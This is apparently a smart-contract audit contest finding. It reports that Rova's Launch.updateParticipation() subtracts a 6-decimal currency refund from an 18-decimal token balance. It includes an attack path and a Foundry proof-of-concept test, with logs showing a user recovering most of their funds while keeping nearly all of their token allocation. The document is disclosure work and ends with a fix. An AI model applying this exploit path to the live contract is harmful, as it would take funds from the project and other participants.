Custom Aqua Vulture

High

# Malicious user can steal tokens

### Summary

In `Launch::updateParticipation()` [function](https://github.com/dpm-labs/rova-contracts/blob/b03e4ede50488a2000bb73d602e28ee4f6c0941f/src/Launch.sol#L312) malicious user can steal tokens because of lack of proper decimals scaling of currency token and project token.

In the coded PoC, we can see that user fetched back approx 83% of currency tokens and only lost a fraction of 1 project token.

### Root Cause

In `Launch::updateParticipation()` [function](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L361C13-L361C84), `userTokens` are set with the amount `userTokenAmount - refundCurrencyAmount`.

```solidity
            userTokens.set(request.userId, userTokenAmount - refundCurrencyAmount);
```

Whereas, `userTokenAmount` are project tokens which can have different decimals than currency tokens. The bigger the difference in decimals, the higher the discrepancy in tokens amount.

### Internal Pre-conditions

1. Project token has 18 decimals (actually any decimals other than currency tokens)

### External Pre-conditions

1. Currency token has 6 decimals (like USDC or USDT)

From the contest page
> Examples of tokens we intend to use: USDC, USDT, Eth Mainnet MOVE (ERC20 with 8 decimals)

### Attack Path

Assumptions: 
- maxTokenAmountPerUser = 3000 * 10 ** tokenDecimals
- minTokenAmountPerUser = 500 * 10 ** tokenDecimals

1. User participates in a launch group for 3000 tokens (max tokens to be allocated per user)
2. Tokens sold to user becomes 3000000000000000000000
3. User then updates participation request and reduces the token amount to 500 tokens (min tokens to be allocated per user) effectively removing 83% (2500/3000)
4. User gets 83% of his currency tokens back whereas userTokens only become 2999999999997500000000

```solidity
 userTokens.set(request.userId, userTokenAmount - refundCurrencyAmount);
 userTokens.set(request.userId, 3000000000000000000000 - 2500000000);
```

### Impact

User can steal project tokens.

### PoC

Do below changes in `LaunchTestBase.t.sol`

```solidity
contract MockERC20 is ERC20 {

    constructor() ERC20("Mock Token", "MTK") {
        _mint(msg.sender, 1000000 * 10 ** 6);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}

    function _setUpLaunch() public {
        vm.startPrank(admin.addr);
        // console.log(" LaunchTestBase.t.sol:64 :: admin.addr:", admin.addr);

        // Deploy contracts
        _initializeLaunch(admin.addr, testWithdrawalAddress);
        currency = new MockERC20();

        // Setup roles
        launch.grantRole(MANAGER_ROLE, manager);
        launch.grantRole(OPERATOR_ROLE, operator);
        launch.grantRole(SIGNER_ROLE, signer);

        // Fund users
        // currency.transfer(user1, 2000 * 10 ** launch.tokenDecimals());
        // currency.transfer(user1, 2000 * 10 ** launch.tokenDecimals());
        currency.transfer(user1, 5000 * 10 ** currency.decimals());
        currency.transfer(user2, 1000 * 10 ** currency.decimals());
        vm.stopPrank();
    }
```

Add below test in `Launch.Participate.t.sol`

```solidity

import {console} from 'forge-std/console.sol';

    function test_wy_updateParticipation() external {

        _setupLaunchGroup();

        // Prepare participation request
        ParticipationRequest memory request =  ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: testLaunchParticipationId,
            userId: testUserId,
            userAddress: user1,
            tokenAmount: 3000 * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });

        bytes memory signature = _signRequest(abi.encode(request));

        vm.startPrank(user1);
        uint256 currencyAmount = _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount);
        currency.approve(address(launch), currencyAmount * 2);

        //! PARTICIPATE
        
        uint256 userCurrencyBalBeforeParticipation = currency.balanceOf(user1);
        
        launch.participate(request, signature);
        
        uint256 currencyUsedInParticipation = userCurrencyBalBeforeParticipation - currency.balanceOf(user1);
        
        uint256 tokensSold = launch.getUserTokensByLaunchGroup(
            testLaunchGroupId, 
            testUserId
        );
        
        console.log(" Launch.Participate.t.sol:62 :: tokensSold:", tokensSold);
        console.log(" Launch.Participate.t.sol:63 :: currencyUsedInParticipation:", currencyUsedInParticipation);


        //! UPDATE PARTICIPATION
        
        uint256 userCurrencyBalBeforeUpdate = currency.balanceOf(user1);

        UpdateParticipationRequest memory updateRequest =  UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: testLaunchParticipationId,
            newLaunchParticipationId: "WYcm6o2sldi00003b74facm5z9n",
            userId: testUserId,
            userAddress: user1,
            tokenAmount: 500 * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });

        signature = _signRequest(abi.encode(updateRequest));

        launch.updateParticipation(updateRequest, signature);

        uint256 currencyGotFromUpdate = currency.balanceOf(user1) - userCurrencyBalBeforeUpdate;
        
        uint256 updatedTokensSold = launch.getUserTokensByLaunchGroup(
            testLaunchGroupId, 
            testUserId
        );
        
        console.log(" Launch.Participate.t.sol:94 :: updatedTokensSold:", updatedTokensSold);
        console.log(" Launch.Participate.t.sol:95 :: currencyGotFromUpdate:", currencyGotFromUpdate);
        
        vm.stopPrank();
    }

```
Run the test using command `forge test --mt test_wy_updateParticipation -vv`

```bash
Ran 1 test for test/Launch.Participate.t.sol:LaunchParticipateTest
[PASS] test_wy_updateParticipation() (gas: 685274)
Logs:
   Launch.Participate.t.sol:62 :: tokensSold: 3000000000000000000000
   Launch.Participate.t.sol:63 :: currencyUsedInParticipation: 3000000000
   Launch.Participate.t.sol:94 :: updatedTokensSold: 2999999999997500000000
   Launch.Participate.t.sol:95 :: currencyGotFromUpdate: 2500000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.07ms (1.16ms CPU time)

Ran 1 test suite in 145.02ms (3.07ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```



### Mitigation

In my opinion, where we have to perform arithmetic operations on amounts with differing decimals, we should decide a standard decimals range and always normalize amount to this standard before performing any addition or subtraction. For example, normalising both amounts to 18 decimals, then after computation, denormalise the amount into original decimals.